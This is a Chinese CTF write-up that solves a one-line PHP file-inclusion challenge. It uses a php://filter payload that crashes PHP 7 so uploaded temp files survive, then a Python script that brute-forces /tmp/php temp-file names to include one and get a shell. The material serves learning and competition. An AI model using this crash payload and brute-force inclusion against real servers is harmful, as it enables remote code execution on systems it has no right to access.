Real World CTF Of "The Return of One Line PHP Challenge"

 

前言

被Real World CTF虐哭了,不过能够跟世界级的大佬同台竞技也感到满足了。

这次RW线下出了一道名为The Return of One Line PHP Challenge的web题,题目描述翻译如下

图片.png

源码和环境跟HITCON2018中orange大佬出的One Line PHP Challenge题目源码一模一样。只不过关闭了当时预期解所用到的session.upload。很明显就是把当时的非预期解拿出来出了一道题。orz!!!

比赛结束当天就已经给了官方wp:利用了php的内存漏洞,使php挂掉,上传大量临时文件,然后爆破临时文件名getshell。在这里复现一下。

 

题目

描述:What happens if I turn off session.upload? This challenge is almost identical to HITCON CTF 2018’s challenge One Line PHP Challenge (Tribute to orange). Plz read the docker file and show me your shell.

Dockerfile:

FROM ubuntu:18.04


COPY flag /flag

RUN apt-get update
RUN apt-get -y install tzdata
RUN apt-get -y install php
RUN apt-get -y install apache2
RUN apt-get -y install libapache2-mod-php

RUN rm /var/www/html/index.html
RUN mv /flag `cat /flag`

RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/apache2/php.ini
RUN sed -i "s/;session.upload_progress.enabled = On/session.upload_progress.enabled = Off/g" /etc/php/7.2/cli/php.ini

RUN echo 'PD9waHAKICAoJF89QCRfR0VUWydvcmFuZ2UnXSkgJiYgQHN1YnN0cihmaWxlKCRfKVswXSwwLDYpID09PSAnQDw/cGhwJyA/IGluY2x1ZGUoJF8pIDogaGlnaGxpZ2h0X2ZpbGUoX19GSUxFX18pOw==' | base64 -d > /var/www/html/index.php
RUN chmod -R 755 /var/www/html

CMD service apache2 start & tail -F /var/log/apache2/access.log

源码

 <?php
  ($_=@$_GET['orange']) && @substr(file($_)[0],0,6) === '@<?php' ? include($_) : highlight_file(__FILE__);

我们要通过 get 方式传入一个 orange 参数,作为文件名,然后程序会将我们传入文件名的那个文件取出前6个字符和@<?php 比对,如果相同则包含这个文件。

 

回想One Line PHP Challenge

网上已有很多关于这道题的详解,例如:HITCON2018-One Line PHP Challenge,这里我只简单理一下思路。

HITCON2018中此题的预期思路为:利用session.upload,我们POST一个与INI中设置的session.uploadprogress.name同名变量且在cookie中带上PHPSESSID,服务器就会根据我们这个 PHPSESSID 在session 文件的默认存放位置生成一个文件名为sess__+PHPSESSID的session 文件(无论服务端PHP有没有开session )。内容格式为php.ini中session.upload_progress.prefix的值+变量PHP_SESSION_UPLOAD_PROGRESS的值+一些与上传进度文件有关的序列化值

例如

图片.png

图片.png

然后利用php过滤器,将文件内容前面的`upload_progress过滤为空,即可绕过@<?php`成功getshell。具体可以参考K0rz3n师傅的文章 :关于One-line-php-challenge的思考

 

解题过程

php临时文件

在给PHP发送POST数据包时,如果数据包里包含文件区块,无论你访问的代码中有没有处理文件上传的逻辑,PHP都会将这个文件保存成一个临时文件(通常是/tmp/php[6个随机字符])。这个临时文件,在请求结束后就会被删除。

虽然可以将数据包的各个位置塞满垃圾数据,延长临时文件被删除的时间,然后对文件名进行爆破getshell。但是不得不说碰撞成功的概率不是一般的低。

php崩溃漏洞

当我们向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,此时我们所POST缓存文件就会被保留。

之前王一航师傅发现过一个可PHP < 7.2异常退出的bug,详情:https://www.jianshu.com/p/dfd049924258。但是这里的环境为php7.2。

这道题的官方出题人发现了一个通杀php7全版本的PHP内存漏洞,可以使PHP异常退出。详情可见wp:HackMD – Collaborative markdown notes

POC

php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAAAAAAAAAAAAAAAAAAA%ff%ff%ff%ff%ff%ff%ff%ffAAAAAAAAAAAAAAAAAAAAAAAA

利用这个漏洞我们可以POST大量缓存文件来提高我们爆破文件名的成功率,进而getshell。

解题

我利用题目所给的dockerfile在虚拟机中启了一个docker环境。

构造数据包

图片.png

进入容器查看,发现缓存文件成功保存。

图片.png

利用burp多线程POST大量缓存文件。(小技巧: 每次请求可以发送20个文件)

图片.png

图片.png

利用脚本爆破文件名,getshell。

这里贴上王一航师傅的写的爆破脚本

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import requests
import string

charset = string.digits + string.letters

host = "192.168.1.9"
port = 8000
base_url = "http://%s:%d" % (host, port)


def brute_force_tmp_files():
    for i in charset:
        for j in charset:
            for k in charset:
                for l in charset:
                    for m in charset:
                        for n in charset:
                            filename = i + j + k + l + m + n
                            url = "%s/index.php?orange=/tmp/php%s" % (
                                base_url, filename)
                            print url
                            try:
                                response = requests.get(url)
                                if 'flag' in response.content:
                                    print "[+] Include success!"
                                    return True
                            except Exception as e:
                                print e
    return False

def main():
    brute_force_tmp_files()

if __name__ == "__main__":
    main()

爆破文件名成功

getshell

图片.png

 

总结

ORZ,仅仅两行代码就可以从中学到这么多东西,不得不膜。

另外p牛也在小密圈总结了,这个题目在实战中有很多应用场景。最常见的就是:当一个目标存在任意文件包含漏洞的时候,你却找不到可以包含的文件,无法getshell。可以有三种方法:

1、借用phpinfo,包含临时文件来getshell,

2、 利用PHP_SESSION_UPLOAD_PROGRESS,包含session文件来getshell

3、也就是本文所写的,利用一个可以使PHP挂掉的漏洞(如内存漏洞等),使PHP停止执行,此时上传的临时文件就没有删除。我们可以爆破缓存文件名来getshell。

(完)